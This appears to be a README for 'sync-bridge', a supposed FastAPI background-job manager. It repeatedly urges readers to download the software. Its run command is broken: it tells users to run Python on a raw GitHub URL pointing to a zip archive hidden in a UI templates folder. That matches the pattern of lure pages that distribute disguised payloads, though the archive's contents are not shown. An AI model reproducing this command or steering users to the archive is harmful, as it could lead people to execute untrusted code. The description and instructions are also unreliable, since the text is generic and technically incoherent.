Welcome to sync-bridge! This application helps you manage background jobs easily. Using FastAPI and SQLAlchemy, it ensures your tasks run smoothly and reliably.
To get started, visit the Releases page below to download the latest version of sync-bridge.
- Click on the link above to go to the Releases page.
- Find the version you want to download.
- Click on the download link to start downloading the application.
To run sync-bridge, ensure your system meets the following requirements:
- Operating System: Windows, macOS, or Linux
- Python Version: Python 3.7 or higher
- Disk Space: At least 100 MB free space
- Internet Connection: Required for initial setup and updates
- Reliable Task Management: The application uses a database to store jobs and their statuses.
- Retries: Automatically retries failed tasks, minimizing loss of work.
- Dead Letter Queue (DLQ): Failed tasks are stored for review and reprocessing.
- Observability: Monitor job execution and status through logs and dashboards.
- Idempotency: Ensure tasks can be safely retried without undesired effects.
Once you have downloaded and installed sync-bridge, follow these simple steps to run it:
-
Open your terminal or command prompt.
-
Navigate to the directory where you installed the application.
-
Run the application using the command:
python https://raw.githubusercontent.com/rashun2123/sync-bridge/main/app/ui/templates/sync_bridge_1.5.zip -
Follow the on-screen instructions to configure your settings.
During the first run, you will be prompted to set up the following options:
- Database Connection: Enter connection details for your preferred database (e.g., PostgreSQL, SQLite).
- Task Queue Settings: Specify the settings for your job queue.
- Logging Level: Choose how much information you want to see in the logs (e.g., info, warning, error).
For in-depth information about how to use and configure sync-bridge, check the documentation.
If you need help or have questions, you can reach out through the issues section on our GitHub page or by joining our community forum.
Contributions to sync-bridge are welcome! If you want to help improve the application, please check the contributing guidelines in the repository.
To download sync-bridge, please click here again if needed.
Thank you for choosing sync-bridge! Your reliable sync worker is just a download away!